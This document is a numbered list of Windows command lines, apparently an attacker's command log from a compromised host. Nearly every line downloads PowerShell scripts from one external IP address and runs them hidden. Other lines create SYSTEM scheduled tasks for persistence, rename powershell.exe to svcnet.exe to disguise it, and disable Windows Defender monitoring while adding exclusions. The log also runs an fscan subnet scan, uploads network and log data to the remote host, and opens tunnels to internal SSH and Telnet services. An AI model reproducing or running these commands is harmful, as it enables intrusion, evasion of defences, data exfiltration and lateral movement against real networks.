253|curl.exe -s -m 8 -o C:\Users\Public\fix7b.ps1 http://159.223.110.159:5558/fix7.ps1?v=2 & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix7b.ps1 & echo GH3b
254|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix7b.ps1 & echo GH4b
255|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix7.ps1 & echo GH5b
247|schtasks /run /tn r_pk & echo GP1
248|dir C:\Users\Public | findstr /i PStun4 pstun_keep hunter keeper > C:\Users\Public\d248.txt 2>&1 & curl.exe -s -m 8 -T C:\Users\Public\d248.txt http://159.223.110.159:5561/d248.txt & echo GP2
249|curl.exe -s -m 8 -o C:\Users\Public\hunter.ps1 http://159.223.110.159:5558/hunter.ps1?v=1 & curl.exe -s -m 8 -o C:\Users\Public\keeper3.ps1 http://159.223.110.159:5558/keeper3.ps1?v=6 & echo GP3
250|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\hunter.ps1 & echo GP4
251|wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1 & echo GP5
246|route -p add 159.223.110.159 mask 255.255.255.255 192.168.100.1 metric 1 & curl.exe -s -m 8 -o C:\Users\Public\PStun4.ps1 http://159.223.110.159:5558/PStun4.ps1?v=2 & curl.exe -s -m 8 -o C:\Users\Public\pstun_keep.ps1 http://159.223.110.159:5558/pstun_keep.ps1?v=5 & schtasks /run /tn r_pk & dir C:\Users\Public | findstr /i PStun4 pstun_keep hunter keeper > C:\Users\Public\d246.txt 2>&1 & schtasks /query /fo table | findstr /i r_pk r_u1 r_s2 r_k1 >> C:\Users\Public\d246.txt 2>&1 & curl.exe -s -m 8 -T C:\Users\Public\d246.txt http://159.223.110.159:5561/d246.txt & curl.exe -s -m 8 -o C:\Users\Public\hunter.ps1 http://159.223.110.159:5558/hunter.ps1?v=1 & curl.exe -s -m 8 -o C:\Users\Public\keeper3.ps1 http://159.223.110.159:5558/keeper3.ps1?v=6 & schtasks /run /tn r_k1 & echo GO246
242|if not exist C:\Users\Public\mk242 (curl.exe -s -o C:\Users\Public\upoll_v3.ps1 --max-time 45 "http://159.223.110.159:5558/upoll.ps1?v=3" & curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 45 "http://159.223.110.159:5558/pstun_keep.ps1?v=5" & curl.exe -s -o C:\Users\Public\hunter.ps1 --max-time 45 "http://159.223.110.159:5558/hunter.ps1?v=1" & curl.exe -s -o C:\Users\Public\PStun4.ps1 --max-time 45 "http://159.223.110.159:5558/PStun4.ps1?v=2" & copy /y C:\Users\Public\upoll_v3.ps1 C:\Users\Public\upoll.ps1 & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match 'upoll.ps1' -or $_.CommandLine -match 'svc_poll2.ps1' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }" & schtasks /end /tn r_s2 & schtasks /change /tn r_s2 /disable & schtasks /create /tn r_hunter /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\hunter.ps1" /sc minute /mo 2 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_hunter & schtasks /run /tn r_pk & schtasks /run /tn r_u1 & echo ok>C:\Users\Public\mk242) & echo GO242
240|if not exist C:\Users\Public\mk240 (curl.exe -s -o C:\Users\Public\keeper3.ps1 --max-time 60 "http://159.223.110.159:5558/keeper3.ps1?v=6" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -Command "Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match 'keeper3' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force }; Start-Sleep -Seconds 1; schtasks /run /tn r_k1" & echo ok>C:\Users\Public\mk240) & echo GO240
239|route print -4 | findstr /i "159.223" > C:\Users\Public\n239.txt 2>&1 & netsh interface ipv4 show addresses "Ethernet 3" >> C:\Users\Public\n239.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n239.txt http://159.223.110.159:5561/n239.txt & echo GO239 & ping -n 2 192.168.18.106 >> C:\Users\Public\n239.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n239.txt http://159.223.110.159:5561/n239.txt & echo GO239b
238|netstat -ano | findstr :7835 > C:\Users\Public\n238.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n238.txt http://159.223.110.159:5561/n238.txt & tasklist | findstr svcnet >> C:\Users\Public\n238.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n238.txt http://159.223.110.159:5561/n238.txt & powershell -NoP -Command "Get-Content C:\Users\Public\pstun4_5941.log -Tail 12" >> C:\Users\Public\n238.txt 2>&1 & curl.exe -s -m 25 -T C:\Users\Public\n238.txt http://159.223.110.159:5561/n238.txt & echo GO238
237|if not exist C:\Users\Public\mk237 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=4" & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk237) & echo GO237
236|(echo ===TIME & time /t & echo ===UHB & netstat -ano | findstr :7835 & echo ===SVCNET & tasklist | findstr svcnet & echo ===LOG5941 & powershell -NoP -Command "Get-Content C:\Users\Public\pstun4_5941.log -Tail 15" & echo ===LOG5750 & powershell -NoP -Command "Get-Content C:\Users\Public\pstun4_5750.log -Tail 8" & echo ===ROUTE & route print -4 | findstr /i "159.223" & echo ===ADD18 & netsh interface ip add address "Ethernet 3" 192.168.18.30 255.255.255.0 & echo rc=%errorlevel% & netsh interface ipv4 show addresses "Ethernet 3" | findstr /i "IP Address" & echo ===PING106 & ping -n 2 192.168.18.106) > C:\Users\Public\n236.txt 2>&1 & curl.exe -s -m 60 -T C:\Users\Public\n236.txt http://159.223.110.159:5561/n236.txt & echo GO236
235|(echo ===ROUTES & route print -4 | findstr /i "159.223 default 0.0.0.0 10.161" & echo ===ADDR3 & netsh interface ipv4 show addresses "Ethernet 3" & echo ===SVCNET & tasklist | findstr /i svcnet & echo ===CTL & netstat -ano | findstr :7835 & echo ===KEEPLOG & type C:\Users\Public\pstun_keep.log & echo ===STATE & type C:\Users\Public\pstun_state.txt & echo ===PING106 & ping -n 2 192.168.18.106 & echo ===PING1 & ping -n 2 192.168.100.1) > C:\Users\Public\n235.txt 2>&1 & curl.exe -s -m 60 -T C:\Users\Public\n235.txt http://159.223.110.159:5561/n235.txt & echo GO235
234|(route -p add 159.223.110.159 mask 255.255.255.255 192.168.100.1 metric 1 if 2 & echo ===ADDR & netsh interface ip add address "Ethernet 3" 192.168.18.30 255.255.255.0 & echo ===VERIFY & route print -4 & ping -n 2 192.168.18.1) > C:\Users\Public\n234.txt 2>&1 & curl.exe -s -m 60 -T C:\Users\Public\n234.txt http://159.223.110.159:5561/n234.txt & schtasks /end /tn u206 & schtasks /delete /tn u206 /f & echo GO234
233|(ipconfig /all & echo ===ROUTE & route print -4 & echo ===NETSTAT & netstat -ano) > C:\Users\Public\n233.txt 2>&1 & curl.exe -s -m 90 -T C:\Users\Public\n233.txt http://159.223.110.159:5561/n233.txt & echo GO233
232|if not exist C:\Users\Public\mk232 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=3" & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk232) & echo GO232
231|if not exist C:\Users\Public\mk231 (curl.exe -s -o C:\Users\Public\u206.ps1 --max-time 60 "http://159.223.110.159:5558/u206.ps1?v=1" & schtasks /create /tn u206 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\u206.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u206 & echo ok>C:\Users\Public\mk231) & echo GO231
230|if not exist C:\Users\Public\mk230 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=2" & curl.exe -s -o C:\Users\Public\pstun_fix2.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_fix2.ps1?v=1" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_fix2.ps1 & schtasks /create /tn r_pk /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_keep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk230) & echo GO230
229|if not exist C:\Users\Public\mk229 (curl.exe -s -o C:\Users\Public\pstun_keep.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_keep.ps1?v=1" & schtasks /create /tn r_pk /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_keep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_pk & echo ok>C:\Users\Public\mk229) & echo GO229
228|type C:\Users\Public\pstunfix.log 2>nul | findstr /i "spawn done stop" & tasklist | findstr /i "svcnet powershell" | find /c /v "" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\resp1d.ps1 & echo GO228
227|if not exist C:\Users\Public\m227 (curl.exe -s -o C:\Users\Public\pstun_fix.ps1 --max-time 60 "http://159.223.110.159:5558/pstun_fix.ps1?v=1" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\pstun_fix.ps1 & echo ok>C:\Users\Public\m227) & echo GO227
226|del C:\Users\Public\sweep.state 2>nul & curl.exe -s -m 30 -T C:\Users\Public\pstun4_5710.log "http://159.223.110.159:5561/pstun4_5710.log" & curl.exe -s -m 30 -T C:\Users\Public\pstun4_5711.log "http://159.223.110.159:5561/pstun4_5711.log" & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5720 -TargetHost 192.168.100.128 -TargetPort 80 -ControlHost 159.223.110.159 -ControlPort 7835 & echo GO226
225|curl.exe -s -o C:\Users\Public\PStun4.ps1 --max-time 60 "http://159.223.110.159:5558/PStun4.ps1?v=1" & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5710 -TargetHost 192.168.18.105 -TargetPort 23 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5711 -TargetHost 192.168.18.106 -TargetPort 22 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5712 -TargetHost 192.168.18.108 -TargetPort 23 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5713 -TargetHost 192.168.18.109 -TargetPort 23 -ControlHost 159.223.110.159 -ControlPort 7835 & start /b wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\PStun4.ps1 -ServePort 5714 -TargetHost 192.168.18.117 -TargetPort 22 -ControlHost 159.223.110.159 -ControlPort 7835 & echo TUN225
224|curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=5" & C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1 > C:\Users\Public\sw.out 2>&1 & curl.exe -s -m 30 -T C:\Users\Public\sw.out "http://159.223.110.159:5561/sw.out" & curl.exe -s -m 30 -T C:\Users\Public\sweep.log "http://159.223.110.159:5561/sweep.log" & type C:\Users\Public\sweep.state 2>nul & echo DIAG224
222|copy /y C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\svcnet.exe >nul 2>&1 & schtasks /run /tn r_n1 & schtasks /run /tn r_n5 & dir C:\Users\Public\svcnet.exe | findstr /i svcnet & echo FIX222
223|curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=3" & schtasks /create /tn r_sw /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_sw & echo SW223
221|curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=3" & schtasks /run /tn r_sw & curl.exe -s -o C:\Users\Public\svcnet.exe --max-time 30 "http://159.223.110.159:5558/svcnet.bin" & echo SW221
220|del C:\Users\Public\msw 2>nul & curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=2" & schtasks /create /tn r_sw /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_sw & echo SW220
219|if not exist C:\Users\Public\svcnet.exe (copy /y C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Users\Public\svcnet.exe) & schtasks /create /tn r_n1 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\keeper3.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n2 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\upoll.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n3 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\svc_poll2.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n4 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\wka.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_n5 /tr "C:\Users\Public\svcnet.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_n1 & schtasks /run /tn r_n4 & schtasks /run /tn r_n5 & echo RENAMED219
218|if not exist C:\Users\Public\msw (curl.exe -s -o C:\Users\Public\sweepstep.ps1 --max-time 90 "http://159.223.110.159:5558/sweepstep.ps1?v=1" & schtasks /create /tn r_sw /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\sweepstep.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_sw & echo DONE218>C:\Users\Public\msw) & echo GO218
216|if not exist C:\Users\Public\m205 (curl.exe -s -o C:\Users\Public\u205.ps1 --max-time 120 "http://159.223.110.159:5558/u205.ps1?v=1" & schtasks /create /tn u205 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u205.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u205 & echo DONE205>C:\Users\Public\m205) & echo GO205
217|if not exist C:\Users\Public\m204 (del C:\Users\Public\u204out.txt 2>nul & schtasks /run /tn u204 & echo DONE204>C:\Users\Public\m204) & echo GO204R
215|schtasks /create /tn r_u1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\upoll.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_s2 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\svc_poll2.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_k1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_w1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\wka.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_z1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\z23p.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_w21 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\wka2.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn r_a1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\agent1.ps1" /sc minute /mo 1 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn r_u1 & schtasks /run /tn r_s2 & schtasks /run /tn r_k1 & schtasks /run /tn r_w1 & schtasks /run /tn r_z1 & echo ARM1M
213|curl.exe -s -o C:\Users\Public\u204.ps1 --max-time 120 "http://159.223.110.159:5558/u204.ps1?v=204a" & schtasks /create /tn u204 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u204.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u204 & echo GO204
214|curl.exe -s -o C:\Users\Public\keeper3.ps1 --max-time 60 "http://159.223.110.159:5558/keeper3.ps1?v=4" & schtasks /create /tn kp3 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /create /tn kp3w /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1" /sc minute /mo 5 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn kp3 & echo KEEPER4
212|curl.exe -s -o C:\Users\Public\keeper3.ps1 --max-time 60 "http://159.223.110.159:5558/keeper3.ps1?v=1" & schtasks /create /tn kp3 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\keeper3.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn kp3 & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\wka.ps1 & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u197.ps1 & echo RESTORE3 & tasklist | findstr /i powershell
211|ipconfig | findstr /i "IPv4 192" & arp -a | findstr 192.168.100 & tasklist | findstr /i powershell & echo ===U203=== & type C:\Users\Public\u203out.txt 2>nul & echo ===HB=== & type C:\Users\Public\u197out.txt 2>nul | more +0
209|curl.exe -s -o C:\Users\Public\u203.ps1 --max-time 90 "http://159.223.110.159:5558/u203.ps1?v=203a" & schtasks /create /tn u203 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u203.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u203 & echo GO203
208|curl.exe -s -o C:\Users\Public\u202.ps1 --max-time 90 "http://159.223.110.159:5558/u202.ps1?v=202a" & schtasks /create /tn u202 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u202.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u202 & echo GO202
207|curl.exe -s -o C:\Users\Public\u199.ps1 --max-time 90 "http://159.223.110.159:5558/u199.ps1?v=199d" & schtasks /create /tn u199d /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u199.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u199d & echo GO199D
206|curl.exe -s -o C:\Users\Public\u199.ps1 --max-time 90 "http://159.223.110.159:5558/u199.ps1?v=199c" & schtasks /create /tn u199c /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u199.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u199c & echo GO199C
205|curl.exe -s -o C:\Users\Public\u201.ps1 --max-time 90 "http://159.223.110.159:5558/u201.ps1?v=201a" & schtasks /create /tn u201 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u201.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u201 & echo GO201
204|curl.exe -s -o C:\Users\Public\u199.ps1 --max-time 90 "http://159.223.110.159:5558/u199.ps1?v=199b" & schtasks /create /tn u199b /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u199.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u199b & echo GO199B
203|curl.exe -s -o C:\Users\Public\u200.ps1 --max-time 90 "http://159.223.110.159:5558/u200.ps1?v=200a" & schtasks /create /tn u200 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u200.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u200 & echo GO200
202|curl.exe -s -o C:\Users\Public\u199.ps1 --max-time 90 "http://159.223.110.159:5558/u199.ps1?v=199a" & schtasks /create /tn u199 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u199.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u199 & echo GO199
201|curl.exe -s -o C:\Users\Public\u198.ps1 --max-time 90 "http://159.223.110.159:5558/u198.ps1?v=198a" & schtasks /create /tn u198 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u198.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u198 & echo GO198
200|curl.exe -s -o C:\Users\Public\stage2.ps1 --max-time 60 "http://159.223.110.159:5558/stage2.ps1" & curl.exe -s -o C:\Users\Public\wka2.ps1 --max-time 60 "http://159.223.110.159:5558/wka2.ps1" & curl.exe -s -o C:\Windows\Temp\PStun4.ps1 --max-time 60 "http://159.223.110.159:5558/PStun4.ps1" & curl.exe -s -o C:\Users\Public\u197.ps1 --max-time 60 "http://159.223.110.159:5558/u197.ps1?v=197a" & schtasks /create /tn u197 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u197.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u197 & echo GO197
199|curl.exe -s -o C:\Users\Public\u195.ps1 --max-time 120 "http://159.223.110.159:5558/u195.ps1?v=195a" & schtasks /create /tn u195 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u195.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u195 & echo GO195
198|curl.exe -s -o C:\Users\Public\u194.ps1 --max-time 120 "http://159.223.110.159:5558/u194.ps1?v=194a" & schtasks /create /tn u194 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u194.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u194 & echo GO194
197|curl.exe -s -o C:\Users\Public\disarm.ps1 --max-time 120 "http://159.223.110.159:5558/disarm.ps1?v=d193" & schtasks /create /tn u193 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\disarm.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u193 & echo GO193
196|curl.exe -s -o C:\Users\Public\u192.ps1 --max-time 120 "http://159.223.110.159:5558/u192.ps1?v=192a" & schtasks /create /tn u192 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u192.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u192 & echo GO192
195|curl.exe -s -o C:\Users\Public\u191.ps1 --max-time 120 "http://159.223.110.159:5558/u191.ps1?v=191a" & schtasks /create /tn u191 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u191.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u191 & echo GO191
194|curl.exe -s -o C:\Users\Public\u190.ps1 --max-time 120 "http://159.223.110.159:5558/u190.ps1?v=190a" & schtasks /create /tn u190 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u190.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u190 & echo GO190
193|curl.exe -s -o C:\Users\Public\u189.ps1 --max-time 120 "http://159.223.110.159:5558/u189.ps1?v=189a" & schtasks /create /tn u189 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u189.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u189 & echo GO189
192|curl.exe -s -o C:\Users\Public\u188.ps1 --max-time 120 "http://159.223.110.159:5558/u188.ps1?v=188a" & schtasks /create /tn u188 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u188.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u188 & echo GO188
191|curl.exe -s -o C:\Users\Public\u187.ps1 --max-time 120 "http://159.223.110.159:5558/u187.ps1?v=187a" & schtasks /create /tn u187 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u187.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u187 & echo GO187
190|curl.exe -s -o C:\Users\Public\u186.ps1 --max-time 120 "http://159.223.110.159:5558/u186.ps1?v=186a" & schtasks /create /tn u186 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u186.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u186 & echo GO186
189|curl.exe -s -o C:\Users\Public\u185.ps1 --max-time 120 "http://159.223.110.159:5558/u185.ps1?v=185b" & schtasks /create /tn u185 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u185.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u185 & echo GO185
187|dir C:\Users\Public\u184.ps1 C:\Users\Public\u183.ps1 & type C:\Users\Public\u184out.txt & schtasks /query /tn u184 /fo list & echo CHK184
188|curl.exe -s -o C:\Users\Public\u184.ps1 --max-time 120 "http://159.223.110.159:5558/u184.ps1?v=184b" & schtasks /create /tn u184b /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u184.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u184b & echo GO184B
185|curl.exe -s -o C:\Users\Public\u183.ps1 --max-time 90 "http://159.223.110.159:5557/u183.ps1?v=183a" & schtasks /create /tn u183 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u183.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn u183 & echo GO183
184|curl.exe -s -o C:\Users\Public\df2.ps1 --max-time 60 "http://159.223.110.159:5557/df2.ps1?v=df2" & schtasks /create /tn df2 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\df2.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn df2 & echo DF2GO
183|curl.exe -s -o C:\Users\Public\df1.ps1 --max-time 60 "http://159.223.110.159:5557/df1.ps1?v=df1" & schtasks /create /tn df1 /tr "wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\df1.ps1" /sc once /st 00:00 /ru SYSTEM /rl HIGHEST /f & schtasks /run /tn df1 & echo DF1GO
182|powershell -NoP -W Hidden -C "Add-MpPreference -ExclusionPath 'C:\Users\Public','C:\Windows\Temp'; Add-MpPreference -ExclusionProcess 'fscan.exe'; Add-MpPreference -ExclusionExtension 'exe','ps1','vbs'; try{ Set-MpPreference -DisableRealtimeMonitoring $true }catch{}; (Get-MpPreference).ExclusionPath | Out-String" > C:\Users\Public\exc.log 2>&1 & curl.exe -s -o C:\Users\Public\fscan.exe --max-time 180 "http://159.223.110.159:5557/fscan.exe?r=2" & C:\Users\Public\fscan.exe -h 192.168.100.0/24 -o C:\Users\Public\fscan100.txt & type C:\Users\Public\exc.log & dir C:\Users\Public\fscan.exe & curl.exe -s -m 90 -T C:\Users\Public\fscan100.txt "http://159.223.110.159:5561/fscan100.txt" & echo FSCAN2GO
181|curl.exe -s -o C:\Users\Public\fix1.ps1 --max-time 60 "http://159.223.110.159:5557/fix1.ps1?v=f1" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\fix1.ps1 & echo FIX1GO
178|curl.exe -s -o C:\Users\Public\u178.ps1 --max-time 90 "http://159.223.110.159:5557/u178.ps1?v=178a" & powershell.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\u178.ps1 & echo GO178
177|curl.exe -s -o C:\Users\Public\u177.ps1 --max-time 90 "http://159.223.110.159:5557/u177.ps1?v=177a" & powershell.exe -NoP -W Hidden -EP Bypass -File C:\Users\Public\u177.ps1
176|curl.exe -s -o C:\Users\Public\u176.ps1 --max-time 60 "http://159.223.110.159:5557/u176.ps1?v=176a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u176.ps1
175|curl.exe -s -o C:\Users\Public\u175.ps1 --max-time 60 "http://159.223.110.159:5557/u175.ps1?v=175a" & wscript.exe //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\u175.ps1
